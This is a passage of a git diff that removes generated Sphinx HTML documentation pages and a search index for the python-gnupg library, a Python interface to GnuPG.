class="clearer"></div> - </div> - </div> - - </body> -</html>
\ No newline at end of file diff --git a/docs/_build/html/index.html b/docs/_build/html/index.html deleted file mode 100644 index fba5006..0000000 --- a/docs/_build/html/index.html +++ /dev/null @@ -1,147 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - - -<html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> - - <title>gnupg: Python Package Documentation — gnupg unknown documentation</title> - - <link rel="stylesheet" href="_static/agogo.css" type="text/css" /> - <link rel="stylesheet" href="_static/pygments.css" type="text/css" /> - - <script type="text/javascript"> - var DOCUMENTATION_OPTIONS = { - URL_ROOT: './', - VERSION: 'unknown', - COLLAPSE_INDEX: false, - FILE_SUFFIX: '.html', - HAS_SOURCE: true - }; - </script> - <script type="text/javascript" src="_static/jquery.js"></script> - <script type="text/javascript" src="_static/underscore.js"></script> - <script type="text/javascript" src="_static/doctools.js"></script> - <link rel="top" title="gnupg unknown documentation" href="#" /> - <link rel="next" title="gnupg package" href="gnupg.html" /> - </head> - <body> - <div class="header-wrapper"> - <div class="header"> - <div class="headertitle"><a - href="#">gnupg: Python Module Documentation</a></div> - <div class="rel"> - <a href="gnupg.html" title="gnupg package" - accesskey="N">next</a> | - <a href="py-modindex.html" title="Python Module Index" - >modules</a> | - <a href="genindex.html" title="General Index" - accesskey="I">index</a> - </div> - </div> - </div> - - <div class="content-wrapper"> - <div class="content"> - <div class="document"> - - <div class="documentwrapper"> - <div class="bodywrapper"> - <div class="body"> - - <div class="section" id="gnupg-python-package-documentation"> -<h1>gnupg: Python Package Documentation<a class="headerlink" href="#gnupg-python-package-documentation" title="Permalink to this headline">¶</a></h1> -<p>A Python interface for handling interactions with GnuPG, including keyfile -generation, keyring maintainance, import and export, encryption and -decryption, sending to and recieving from keyservers, and signing and -verification.</p> -<p>Contents:</p> -<div class="toctree-wrapper compound"> -<ul> -<li class="toctree-l1"><a class="reference internal" href="gnupg.html">gnupg package</a><ul> -<li class="toctree-l2"><a class="reference internal" href="gnupg.html#gnupg-module">gnupg module</a></li> -<li class="toctree-l2"><a class="reference internal" href="gnupg.html#meta-module">meta module</a></li> -<li class="toctree-l2"><a class="reference internal" href="gnupg.html#parsers-module">parsers module</a></li> -<li class="toctree-l2"><a class="reference internal" href="gnupg.html#util-module">util module</a></li> -<li class="toctree-l2"><a class="reference internal" href="gnupg.html#about-this-fork">About this fork</a></li> -<li class="toctree-l2"><a class="reference internal" href="gnupg.html#previous-authors-documentation">Previous Authors’ Documentation</a></li> -</ul> -</li> -</ul> -</div> -</div> -<div class="section" id="source-license-bug-reports"> -<h1>Source, license, & bug reports<a class="headerlink" href="#source-license-bug-reports" title="Permalink to this headline">¶</a></h1> -<p>The source code which was used to generate this documentation is accessible by -clicking the little <cite>source</cite> links next to the docs. Current source code can -be found in this github <a class="reference external" href="https://github.com/isislovecruft/python-gnupg">repository</a>. The <strong>master</strong> branch always reflects the -latest release, all releases are tagged with signed, annotated git tags, and -the <strong>develop</strong> branch represents the state of the next release.</p> -<p>This package is released under <a class="reference external" href="https://www.gnu.org/licenses/gpl.txt">GPLv3</a> or greater.</p> -<p>If you find a bug, or would like to request a feature, please use our public -<a class="reference external" href="https://github.com/isislovecruft/python-gnupg/issues">bugtracker</a> on github. Patches warmly welcome.</p> -</div> -<div class="section" id="indices-and-tables"> -<h1>Indices and tables<a class="headerlink" href="#indices-and-tables" title="Permalink to this headline">¶</a></h1> -<ul class="simple"> -<li><a class="reference internal" href="genindex.html"><em>Index</em></a></li> -<li><a class="reference internal" href="py-modindex.html"><em>Module Index</em></a></li> -<li><a class="reference internal" href="search.html"><em>Search Page</em></a></li> -</ul> -</div> - - - </div> - </div> - </div> - </div> - <div class="sidebar"> - <h3>Table Of Contents</h3> - <ul> -<li class="toctree-l1"><a class="reference internal" href="gnupg.html">gnupg package</a></li> -</ul> - - <h3 style="margin-top: 1.5em;">Search</h3> - <form class="search" action="search.html" method="get"> - <input type="text" name="q" /> - <input type="submit" value="Go" /> - <input type="hidden" name="check_keywords" value="yes" /> - <input type="hidden" name="area" value="default" /> - </form> - <p class="searchtip" style="font-size: 90%"> - Enter search terms or a module, class or function name. - </p> - </div> - <div class="clearer"></div> - </div> - </div> - - <div class="footer-wrapper"> - <div class="footer"> - <div class="left"> - <a href="gnupg.html" title="gnupg package" - >next</a> | - <a href="py-modindex.html" title="Python Module Index" - >modules</a> | - <a href="genindex.html" title="General Index" - >index</a> - <br/> - <a href="_sources/index.txt" - rel="nofollow">Show Source</a> - </div> - - <div class="right"> - - <div class="footer"> - © Copyright 2013-2014, Isis Agora Lovecruft. - Last updated on Saturday, 02 August 2014. - Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.2.2. - </div> - </div> - <div class="clearer"></div> - </div> - </div> - - </body> -</html>
\ No newline at end of file diff --git a/docs/_build/html/objects.inv b/docs/_build/html/objects.inv Binary files differdeleted file mode 100644 index ca71a9f..0000000 --- a/docs/_build/html/objects.inv +++ /dev/null diff --git a/docs/_build/html/py-modindex.html b/docs/_build/html/py-modindex.html deleted file mode 100644 index d61dfe2..0000000 --- a/docs/_build/html/py-modindex.html +++ /dev/null @@ -1,135 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - - -<html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> - - <title>Python Module Index — gnupg unknown documentation</title> - - <link rel="stylesheet" href="_static/agogo.css" type="text/css" /> - <link rel="stylesheet" href="_static/pygments.css" type="text/css" /> - - <script type="text/javascript"> - var DOCUMENTATION_OPTIONS = { - URL_ROOT: './', - VERSION: 'unknown', - COLLAPSE_INDEX: false, - FILE_SUFFIX: '.html', - HAS_SOURCE: true - }; - </script> - <script type="text/javascript" src="_static/jquery.js"></script> - <script type="text/javascript" src="_static/underscore.js"></script> - <script type="text/javascript" src="_static/doctools.js"></script> - <link rel="top" title="gnupg unknown documentation" href="index.html" /> - - - - </head> - <body> - <div class="header-wrapper"> - <div class="header"> - <div class="headertitle"><a - href="index.html">gnupg: Python Module Documentation</a></div> - <div class="rel"> - <a href="#" title="Python Module Index" - >modules</a> | - <a href="genindex.html" title="General Index" - accesskey="I">index</a> - </div> - </div> - </div> - - <div class="content-wrapper"> - <div class="content"> - <div class="document"> - - <div class="documentwrapper"> - <div class="bodywrapper"> - <div class="body"> - - - <h1>Python Module Index</h1> - - <div class="modindex-jumpbox"> - <a href="#cap-g"><strong>g</strong></a> - </div> - - <table class="indextable modindextable" cellspacing="0" cellpadding="2"> - <tr class="pcap"><td></td><td> </td><td></td></tr> - <tr class="cap" id="cap-g"><td></td><td> - <strong>g</strong></td><td></td></tr> - <tr> - <td><img src="_static/minus.png" class="toggler" - id="toggle-1" style="display: none" alt="-" /></td> - <td> - <a href="gnupg.html#module-gnupg"><tt class="xref">gnupg</tt></a></td><td> - <em></em></td></tr> - <tr class="cg-1"> - <td></td> - <td> - <a href="gnupg.html#module-gnupg._meta"><tt class="xref">gnupg._meta</tt></a></td><td> - <em></em></td></tr> - <tr class="cg-1"> - <td></td> - <td> - <a href="gnupg.html#module-gnupg._parsers"><tt class="xref">gnupg._parsers</tt></a></td><td> - <em></em></td></tr> - <tr class="cg-1"> - <td></td> - <td> - <a href="gnupg.html#module-gnupg._util"><tt class="xref">gnupg._util</tt></a></td><td> - <em></em></td></tr> - </table> - - - </div> - </div> - </div> - </div> - <div class="sidebar"> - <h3>Table Of Contents</h3> - <ul> -<li class="toctree-l1"><a class="reference internal" href="gnupg.html">gnupg package</a></li> -</ul> - - <h3 style="margin-top: 1.5em;">Search</h3> - <form class="search" action="search.html" method="get"> - <input type="text" name="q" /> - <input type="submit" value="Go" /> - <input type="hidden" name="check_keywords" value="yes" /> - <input type="hidden" name="area" value="default" /> - </form> - <p class="searchtip" style="font-size: 90%"> - Enter search terms or a module, class or function name. - </p> - </div> - <div class="clearer"></div> - </div> - </div> - - <div class="footer-wrapper"> - <div class="footer"> - <div class="left"> - <a href="#" title="Python Module Index" - >modules</a> | - <a href="genindex.html" title="General Index" - >index</a> - </div> - - <div class="right"> - - <div class="footer"> - © Copyright 2013-2014, Isis Agora Lovecruft. - Last updated on Saturday, 02 August 2014. - Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.2.2. - </div> - </div> - <div class="clearer"></div> - </div> - </div> - - </body> -</html>
\ No newline at end of file diff --git a/docs/_build/html/search.html b/docs/_build/html/search.html deleted file mode 100644 index d640571..0000000 --- a/docs/_build/html/search.html +++ /dev/null @@ -1,129 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - - -<html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> - - <title>Search — gnupg unknown documentation</title> - - <link rel="stylesheet" href="_static/agogo.css" type="text/css" /> - <link rel="stylesheet" href="_static/pygments.css" type="text/css" /> - - <script type="text/javascript"> - var DOCUMENTATION_OPTIONS = { - URL_ROOT: './', - VERSION: 'unknown', - COLLAPSE_INDEX: false, - FILE_SUFFIX: '.html', - HAS_SOURCE: true - }; - </script> - <script type="text/javascript" src="_static/jquery.js"></script> - <script type="text/javascript" src="_static/underscore.js"></script> - <script type="text/javascript" src="_static/doctools.js"></script> - <script type="text/javascript" src="_static/searchtools.js"></script> - <link rel="top" title="gnupg unknown documentation" href="index.html" /> - <script type="text/javascript"> - jQuery(function() { Search.loadIndex("searchindex.js"); }); - </script> - - <script type="text/javascript" id="searchindexloader"></script> - - - </head> - <body> - <div class="header-wrapper"> - <div class="header"> - <div class="headertitle"><a - href="index.html">gnupg: Python Module Documentation</a></div> - <div class="rel"> - <a href="py-modindex.html" title="Python Module Index" - >modules</a> | - <a href="genindex.html" title="General Index" - accesskey="I">index</a> - </div> - </div> - </div> - - <div class="content-wrapper"> - <div class="content"> - <div class="document"> - - <div class="documentwrapper"> - <div class="bodywrapper"> - <div class="body"> - - <h1 id="search-documentation">Search</h1> - <div id="fallback" class="admonition warning"> - <script type="text/javascript">$('#fallback').hide();</script> - <p> - Please activate JavaScript to enable the search - functionality. - </p> - </div> - <p> - From here you can search these documents. Enter your search - words into the box below and click "search". Note that the search - function will automatically search for all of the words. Pages - containing fewer words won't appear in the result list. - </p> - <form action="" method="get"> - <input type="text" name="q" value="" /> - <input type="submit" value="search" /> - <span id="search-progress" style="padding-left: 10px"></span> - </form> - - <div id="search-results"> - - </div> - - </div> - </div> - </div> - </div> - <div class="sidebar"> - <h3>Table Of Contents</h3> - <ul> -<li class="toctree-l1"><a class="reference internal" href="gnupg.html">gnupg package</a></li> -</ul> - - <h3 style="margin-top: 1.5em;">Search</h3> - <form class="search" action="#" method="get"> - <input type="text" name="q" /> - <input type="submit" value="Go" /> - <input type="hidden" name="check_keywords" value="yes" /> - <input type="hidden" name="area" value="default" /> - </form> - <p class="searchtip" style="font-size: 90%"> - Enter search terms or a module, class or function name. - </p> - </div> - <div class="clearer"></div> - </div> - </div> - - <div class="footer-wrapper"> - <div class="footer"> - <div class="left"> - <a href="py-modindex.html" title="Python Module Index" - >modules</a> | - <a href="genindex.html" title="General Index" - >index</a> - </div> - - <div class="right"> - - <div class="footer"> - © Copyright 2013-2014, Isis Agora Lovecruft. - Last updated on Saturday, 02 August 2014. - Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.2.2. - </div> - </div> - <div class="clearer"></div> - </div> - </div> - - </body> -</html>
\ No newline at end of file diff --git a/docs/_build/html/searchindex.js b/docs/_build/html/searchindex.js deleted file mode 100644 index d5f5220..0000000 --- a/docs/_build/html/searchindex.js +++ /dev/null @@ -1 +0,0 @@ -Search.setIndex({envversion:42,terms:{represent:1,all:[0,1],code:[0,1],namedli:1,chain:1,untrust:1,"_find_ag":1,month:1,"_problem_reason":1,prefix:1,edu:1,follow:1,disk:1,inpt:1,issuer:1,disappear:1,whose:1,privat:1,oracl:1,"const":1,sensit:1,send:[0,1],"_agent_proc":1,program:1,certain:1,under:[0,1],sens:1,clearsign:1,isinst:1,"_read_respons":1,sourc:[],string:1,fals:1,need_passphras:1,prog:1,sig_typ:1,fuction:1,sec_dup:1,veri:1,retriev:1,subprocess:1,steve:1,magic:1,key_set:1,raw_data:1,list:1,iter:1,"try":1,item:1,alice_input:1,shlex:1,stderr:1,verif:[0,1],sajip:1,drop:1,arg_list:1,round:1,gen_key_input:1,pleas:[0,1],malici:1,work:1,pref_typ:1,"_encrypt":1,crow:1,sign:[0,1],second:1,blanklin:1,design:1,pass:1,click:0,use_ag:1,even:1,index:0,keyserv:[0,1],"_field":1,hide:1,sub:1,richard:1,inheritableproperti:1,section:1,falsifi:1,find:[0,1],current:[0,1],delet:1,version:1,"new":1,symmetr:1,"_check_keyserv":1,bytestream:1,method:1,can:[0,1],list_packet:1,hasn:1,full:1,hash:1,n_sig:1,sanitis:1,vinai:1,adversari:1,gener:[0,1],never:1,here:1,behaviour:1,shouldn:1,snack:1,modif:1,"_check_prefer":1,depend:1,subkey_typ:1,modifi:1,sinc:1,valu:1,search:[0,1],"3ff0db166a7476ea":1,brilliant:1,"_generated_keys_gett":1,popen:1,cert:1,unlik:1,doctest:1,menu:1,chang:1,chanc:1,revoc:1,compress_algo:1,elect:1,repositori:[0,1],extra:1,revok:1,keyfil:[0,1],"while":1,filenam:1,api:1,famili:1,trust_fulli:1,instal:1,txt:1,sec_read:1,regex:1,seckei:1,from:[0,1],subkei:1,would:[0,1],memori:1,gnupg_opt:1,pref:1,todai:1,next:[0,1],few:1,trust_text:1,"_deprefix":1,call:1,usr:1,recommend:1,taken:1,scope:1,md5:1,type:1,minor:1,more:1,print1:1,capit:1,print2:1,desir:1,peopl:1,hundr:1,relat:1,line:1,notic:1,genkei:1,warn:1,"_make_binary_stream":1,flag:1,indic:[],particular:1,known:1,obj:1,cipher_algo:1,must:1,need_passphrase_sym:1,none:1,imported_rsa:1,join:1,thread:1,otrust:1,alic:1,uniqu:1,name_email:1,fli:1,descriptor:1,kwarg:1,del:1,whatev:1,wwwkei:1,meet:1,purpos:1,fget:1,control:1,gplv3:0,kuchl:1,stream:1,give:1,process:1,gpgsm:1,share:1,uat:1,accept:1,tag:0,"_make_arg":1,want:1,"_copy_data":1,occur:1,whichev:1,protectedopt:1,aes256:1,enc:1,end:1,secur:1,tamper:1,grudgingli:1,key_data:1,how:1,sig:1,sever:1,fpr:1,instead:1,config:1,updat:1,map:1,"_sanitise_list":1,alwai:0,passwordless:1,after:1,differenti:1,reflect:0,befor:1,okai:1,rmtree:1,mai:1,underscor:1,data:1,physic:1,man:1,handl:[0,1],delete_kei:1,attempt:1,classmethod:1,seriou:1,stdin:1,correspond:1,element:1,issu:1,inform:1,ambigi:1,combin:1,allow:1,enter:1,callabl:1,key_id:1,order:1,oper:1,help:1,"_match_version_str":1,midnight:1,soon:1,own:1,through:1,describ:1,n_revoc:1,deleteresult:1,hexidecim:1,print_funct:1,digest:1,paramet:1,write:1,group:1,funni:1,fix:1,better:1,window:1,"_is_gpg1":1,trust_level:1,"_handle_statu":1,"_read_data":1,alter:1,non:1,good:1,n_uid:1,greater:[0,1],thei:1,python:[],timestamp:1,subdirectori:1,dai:1,initi:1,fingerprint:1,detach:1,possess:1,down:1,term:1,t7a:1,"_meta":1,trac:1,anyth:1,edit:1,level:1,userid:1,verify_fil:1,separ:1,micro:1,token:1,each:1,debug:1,found:[0,1],unicod:1,csr:1,mean:1,subset:1,everyth:1,reliabl:1,hard:1,"_get_options_group":1,realli:1,ensur:1,keypair:1,"static":1,expect:1,year:1,our:[0,1],meth:1,name_com:1,"_generated_kei":1,orient:1,special:1,out:1,variabl:1,suppos:1,safeti:1,space:1,armor:1,miss:1,access:[0,1],rev:1,create_uid_email:1,"_recv_kei":1,your:1,expire_timestamp:1,mess:1,suitabl:1,rel:1,print:1,sha1:1,metaclass:1,correct:1,dsa:1,name_r:1,usageerror:1,gpgmeta:1,upon:1,runtimeerror:1,manipul:1,"__remove_path__":1,pub:1,"_get_all_gnupg_opt":1,reason:1,base:1,dictionari:1,"_export_ownertrust":1,ask:1,org:1,"byte":1,trust_ultim:1,sekrit:1,care:1,import_kei:1,precaut:1,pubr:1,importresult:1,could:1,omit:1,"_result_map":1,fqdn:1,initialis:1,emul:1,thing:1,length:1,"19860426t042640":1,place:1,isn:1,pycrypto:1,nodata:1,confus:1,think:1,frequent:1,first:1,origin:1,softwar:1,major:1,suffix:1,directli:1,purport:1,arrai:1,number:1,necess:1,date:1,instruct:1,alreadi:1,done:1,least:1,pgp:1,owner:1,stabl:1,open:1,primari:1,hexstr:1,size:1,gpl:1,given:1,pubkey_fingerprint:1,strict:1,unknown:1,top:1,gpg:1,list_sig:1,system:1,messag:1,name:1,attach:1,attack:1,master:0,too:1,pathext:1,stevegt:1,outstream:1,store:1,low:1,shell:1,option:1,copi:1,rsa:1,specifi:1,forward:1,separate_keyr:1,github:0,pars:1,mostli:1,consult:1,presumedli:1,gethostnam:1,exactli:1,than:1,albeit:1,ciphertext:1,keyid:1,prevent:1,keysign:1,remov:1,recv_kei:1,zero:1,charact:1,matter:1,friend:1,str:1,were:1,exp:1,"0x12345678":1,"_is_list_or_tupl":1,browser:1,"_is_str":1,respons:1,beforehand:1,ani:1,sit:1,wai:1,author_info:1,expir:1,increment:1,reserv:1,need:1,seem:1,turn:1,userid_hint:1,always_trust:1,entireti:1,not_import:1,engin:1,"__new__":1,lib:1,callback:1,destroi:1,latter:1,contact:1,note:1,mix:1,"_is_stream":1,secr:1,take:1,annot:0,sanit:1,environ:1,zlib:1,maintain:[0,1],mit:1,save_batchfil:1,uppercas:1,compat:1,begin:1,sure:1,unless:1,exec:1,usernam:1,object:1,compress:1,what:1,discov:1,decrypt_fil:1,digest_algo:1,problem_reason:1,cipher:1,gpg2:1,letter:1,net:1,"class":1,n_subk:1,trustdb:1,prove:1,renam:1,exc:1,url:1,doc:[0,1],later:1,request:[0,1],"_find_binari":1,doe:1,pipe:1,anoth:1,part:1,subkey_usag:1,determin:1,warmli:0,usual:1,shell_input:1,seckey1:1,fact:1,recipi:1,"_parser":1,show:1,"__str__":1,random:1,syntax:1,happili:1,permiss:1,hack:1,lookuperror:1,alice_kei:1,first_word:1,"_generated_keys_sett":1,absolut:1,onli:1,explicitli:1,locat:1,just:1,facil:1,unattend:1,explain:1,writer:1,releas:[0,1],trust_nev:1,should:1,"_batch_limit":1,busi:1,dict:1,local:1,meant:1,info:1,variou:1,get:1,stop:1,secondari:1,cannot:1,f_ok:1,report:[],gen:1,requir:1,ssb:1,bar:1,"_next_year":1,ever:1,key_creat:1,borrow:1,"public":[0,1],rfc:1,provid:1,bad:1,stupid:1,statist:1,though:1,contain:1,comma:1,where:1,instream:1,summari:1,happen:1,certif:1,set:1,commandlin:1,signatur:1,tree:1,cryptanalyt:1,still:1,packet:1,"_has_readwrit":1,see:1,sec:1,result:1,arg:1,fail:1,close:1,becaus:1,crt:1,deriv:1,appear:1,statu:1,detect:1,cleartext:1,correctli:1,"_open_subprocess":1,speed:1,someth:1,creation_d:1,traugott:1,configur:1,written:1,at_exit:1,between:1,ciphernam:1,progress:1,signature_id:1,hkp:1,attribut:1,altern:1,verifi:1,accord:1,unmodifi:1,func:1,kei:1,numer:1,overflow:1,codec:1,homedir:1,bak:1,extens:1,lowercas:1,entir:1,wear:1,frozenset:1,disallow:1,embed:1,key_length:1,addit:1,verbos:1,both:1,protect:1,last:1,delimit:1,howev:1,pdt:1,etc:1,instanc:1,gen_kei:1,agent:1,improv:1,comment:1,within:1,"_handle_io":1,address:1,wrap:1,except:1,header:1,key_not_cr:1,differ:1,key_input:1,path:1,pubkey1:1,respect:1,"_homedir_gett":1,assum:1,xkcd:1,reciev:[0,1],"_is_gpg2":1,gpgbase:1,bytesio:1,sig_hash_also:1,patch:[0,1],due:1,been:1,mark:1,rvk:1,secret:1,much:1,interpret:1,basic:1,isconf:1,valueerror:1,fset:1,gist:1,is_gpg1:1,is_gpg2:1,xxx:1,convert:1,append:1,argument:1,assert:1,"_now":1,euid:1,a3adb67a2cdb8b35:1,input:1,openpgp:1,export_kei:1,former:1,wrapper:1,"case":1,ugli:1,ident:1,look:1,properti:1,sourceforg:1,easier:1,getfilesystemencod:1,calcul:1,abov:1,error:1,bin:1,ordereddict:1,"_create_trustdb":1,default_preference_list:1,key2:1,key1:1,them:1,contributor:1,"default":1,itself:1,conf:1,"return":1,mod:1,shutil:1,ascii:1,fdel:1,"__init__":1,"_fix_trustdb":1,develop:0,welcom:0,"_homedir_sett":1,setpref:1,alphabet:1,make:1,key_grip:1,same:1,binari:1,epoch:1,isspac:1,split:1,pkd:1,fill:1,singl:1,higher:1,week:1,safe:1,"_make_passphras":1,hostnam:1,keyr:[0,1],"_import_ownertrust":1,effect:1,capabl:1,assign:1,rais:1,user:1,"_create_if_necessari":1,pinentri:1,implement:1,drain:1,scenario:1,thu:1,summon:1,well:1,inherit:1,without:1,person:1,exampl:1,command:1,programm:1,listkei:1,left:1,explan:1,"_is_hex":1,construct:1,protocol:1,execut:1,photo:1,armour:1,exclud:1,obtain:1,rest:1,trust:1,via:1,kill:1,default_kei:1,touch:1,passphras:1,simultan:1,list_kei:1,yet:1,pyproperty_typ:1,hah:1,gather:1,now:1,"_hyphen":1,"_make_random_str":1,easi:1,also:1,pubkei:1,elg:1,littl:0,"_decode_error":1,add:1,valid:1,els:1,har:1,save:1,scatterbrainedli:1,latest:0,match:1,build:1,real:1,amk:1,which:[0,1],format:1,read:1,prefer:1,piec:1,subkey_length:1,punctuat:1,know:1,no_user_id:1,bit:1,password:1,associ:1,python3:1,python2:1,like:[0,1],specif:1,substr:1,whitespac:1,manual:1,integ:1,terraluna:1,collect:1,"boolean":1,necessari:1,either:1,have:1,add_prefix:1,colon:1,inter:1,"_sign_fil":1,page:[0,1],unabl:1,tmpfile:1,"_collect_output":1,old:1,often:1,the_rest:1,"_which":1,acknowledg:1,interv:1,interact:[0,1],some:1,back:1,"_is_allow":1,isfil:1,intern:1,unspecifi:1,"export":[0,1],unchang:1,home:1,tmp:1,ownertrust:1,lead:1,psutil:1,avoid:1,normal:1,exit:1,iso:1,key_usag:1,sig_fil:1,unsanit:1,auth:1,foo:1,trunk:1,refer:1,pilfer:1,plu:1,who:1,run:1,direcori:1,uncompress:1,expire_d:1,insecur:1,usag:1,symlink:1,broken:1,although:1,output:1,simpler:1,unsaf:1,actual:1,zip:1,materi:1,commun:1,http:1,viewvc:1,distinct:1,tranlat:1,"_separate_keyword":1,commit:1,disabl:1,block:1,"_threaded_copy_data":1,repair:1,"__future__":1,"_ok_reason":1,status_cod:1,listpacket:1,lastli:1,encod:1,gpghome:1,automat:1,three:1,printprint:1,right:1,test_gnupg:1,strip:1,"_sanitis":1,"import":[0,1],hyphen:1,batch:1,storag:1,digestnam:1,stare:1,unlock:1,git:0,deal:1,suffici:1,aren:1,support:1,"long":1,avail:1,start:1,reli:1,gid:1,interfac:[0,1],includ:[0,1],handle_statu:1,trust_undefin:1,"_write_passphras":1,sha512:1,descrobject:1,"function":1,creation:1,form:1,sec_import:1,tupl:1,jun:1,"_util":1,find_encod:1,content:[0,1],key_typ:1,state:0,link:[0,1],translat:1,newer:1,branch:[0,1],don:1,cryptograph:1,"true":1,sig_timestamp:1,sent:1,count:1,concaten:1,made:1,utf:1,attr:1,absens:1,possibl:1,whether:1,notat:1,caller:1,eighteen:1,displai:1,below:1,unittest:1,public_kei:1,otherwis:1,problem:1,remaind:1,similar:1,email:1,esca:1,sort:1,featur:[0,1],uid:1,creat:1,"int":1,hardcod:1,bugtrack:0,decrypt:[0,1],doesn:1,repres:[0,1],twist:1,proutil:1,exist:1,file:1,"_utc_epoch":1,utc:1,check:1,probabl:1,incorrect:1,again:1,bzip2:1,encrypt:[0,1],quot:1,grp:1,crypt:1,when:1,detail:1,invalid:1,field:1,other:1,bool:1,copyright:1,rememb:1,presenc:1,test:1,pathnam:1,you:[0,1],"_fix_unsaf":1,"_is_fil":1,intend:1,clean:1,stringio:1,put:1,symbol:1,insensit:1,log:1,consid:1,easili:1,param:1,reduc:1,"_count":1,receiv:1,faster:1,algorithm:1,directori:1,sig_algo:1,alphanumer:1,portion:1,algo:1,ignor:1,invok:1,potenti:1,time:1,escap:1,profil:1,hello:1,jone:1,trust_margin:1},objtypes:{"0":"py:module","1":"py:function","2":"py:exception","3":"py:method","4":"py:attribute","5":"py:class","6":"py:classmethod","7":"py:staticmethod"},objnames:{"0":["py","module","Python module"],"1":["py","function","Python function"],"2":["py","exception","Python exception"],"3":["py","method","Python method"],"4":["py","attribute","Python attribute"],"5":["py","class","Python class"],"6":["py","classmethod","Python class method"],"7":["py","staticmethod","Python static method"]},filenames:["index","gnupg"],titles:["gnupg: Python Package Documentation","gnupg package"],objects:{"":{gnupg:[1,0,0,"-"]},"gnupg._meta.GPGMeta":{"__new__":[1,7,1,""],"_find_agent":[1,6,1,""]},"gnupg._parsers":{"_is_hex":[1,1,1,""],UsageError:[1,2,1,""],Verify:[1,5,1,""],"_get_options_group":[1,1,1,""],"_is_allowed":[1,1,1,""],GenKey:[1,5,1,""],ImportResult:[1,5,1,""],"_check_preferences":[1,1,1,""],"_fix_unsafe":[1,1,1,""],Crypt:[1,5,1,""],ListPackets:[1,5,1,""],progress:[1,1,1,""],ListKeys:[1,5,1,""],"_sanitise_list":[1,1,1,""],"_is_string":[1,1,1,""],"_check_keyserver":[1,1,1,""],ProtectedOption:[1,2,1,""],"_get_all_gnupg_options":[1,1,1,""],DeleteResult:[1,5,1,""],"_sanitise":[1,1,1,""],"_hyphenate":[1,1,1,""],Sign:[1,5,1,""],nodata:[1,1,1,""]},"gnupg._parsers.Crypt":{status:[1,4,1,""],ok:[1,4,1,""],"_handle_status":[1,3,1,""],data:[1,4,1,""]},"gnupg._parsers.Verify":{TRUST_LEVELS:[1,4,1,""],status:[1,4,1,""],TRUST_NEVER:[1,4,1,""],expire_timestamp:[1,4,1,""],pubkey_fingerprint:[1,4,1,""],TRUST_FULLY:[1,4,1,""],timestamp:[1,4,1,""],TRUST_MARGINAL:[1,4,1,""],"_handle_status":[1,3,1,""],creation_date:[1,4,1,""],username:[1,4,1,""],trust_text:[1,4,1,""],valid:[1,4,1,""],TRUST_ULTIMATE:[1,4,1,""],TRUST_UNDEFINED:[1,4,1,""],fingerprint:[1,4,1,""],key_id:[1,4,1,""],signature_id:[1,4,1,""],sig_timestamp:[1,4,1,""],trust_level:[1,4,1,""]},"gnupg._meta.GPGBase":{"_generated_keys_getter":[1,3,1,""],keyserver:[1,4,1,""],"_encrypt":[1,3,1,""],default_preference_list:[1,4,1,""],"_homedir_getter":[1,3,1,""],"_handle_io":[1,3,1,""],"_open_subprocess":[1,3,1,""],"_homedir_setter":[1,3,1,""],"__remove_path__":[1,3,1,""],"_collect_output":[1,3,1,""],"_make_args":[1,3,1,""],homedir:[1,4,1,""],"_read_data":[1,3,1,""],"_generated_keys":[1,4,1,""],"_generated_keys_setter":[1,3,1,""],"_recv_keys":[1,3,1,""],"_read_response":[1,3,1,""],"__init__":[1,3,1,""],"_sign_file":[1,3,1,""]},"gnupg.GPG":{"_create_trustdb":[1,3,1,""],decrypt:[1,3,1,""],sign:[1,3,1,""],verify_file:[1,3,1,""],encrypt:[1,3,1,""],recv_keys:[1,3,1,""],verify:[1,3,1,""],export_keys:[1,3,1,""],"_batch_limit":[1,4,1,""],decrypt_file:[1,3,1,""],import_keys:[1,3,1,""],is_gpg1:[1,3,1,""],is_gpg2:[1,3,1,""],"_import_ownertrust":[1,3,1,""],delete_keys:[1,3,1,""],"_export_ownertrust":[1,3,1,""],list_packets:[1,3,1,""],gen_key:[1,3,1,""],"_fix_trustdb":[1,3,1,""],list_keys:[1,3,1,""],list_sigs:[1,3,1,""],gen_key_input:[1,3,1,""]},"gnupg._parsers.ImportResult":{fingerprints:[1,4,1,""],"_handle_status":[1,3,1,""],results:[1,4,1,""],summary:[1,3,1,""],"_problem_reason":[1,4,1,""],"_ok_reason":[1,4,1,""],"_counts":[1,4,1,""],x:[1,4,1,""],"_fields":[1,4,1,""]},"gnupg._parsers.Sign":{what:[1,4,1,""],sig_hash_also:[1,4,1,""],fingerprint:[1,4,1,""],sig_algo:[1,4,1,""],"_handle_status":[1,3,1,""],sig_type:[1,4,1,""],timestamp:[1,4,1,""]},"gnupg._parsers.ListKeys":{uid:[1,3,1,""],"_handle_status":[1,3,1,""],pub:[1,3,1,""],sec:[1,3,1,""],key:[1,3,1,""],fpr:[1,3,1,""],sub:[1,3,1,""]},"gnupg._util":{"_threaded_copy_data":[1,1,1,""],"_is_stream":[1,1,1,""],Storage:[1,5,1,""],"_make_random_string":[1,1,1,""],"_is_gpg1":[1,1,1,""],"_utc_epoch":[1,1,1,""],"_copy_data":[1,1,1,""],"_is_gpg2":[1,1,1,""],"_write_passphrase":[1,1,1,""],"_is_list_or_tuple":[1,1,1,""],"_which":[1,1,1,""],"_deprefix":[1,1,1,""],"_find_binary":[1,1,1,""],author_info:[1,1,1,""],"_create_if_necessary":[1,1,1,""],"_has_readwrite":[1,1,1,""],"_make_binary_stream":[1,1,1,""],"_make_passphrase":[1,1,1,""],"_is_file":[1,1,1,""],InheritableProperty:[1,5,1,""],find_encodings:[1,1,1,""],"_next_year":[1,1,1,""],"_now":[1,1,1,""],"_match_version_string":[1,1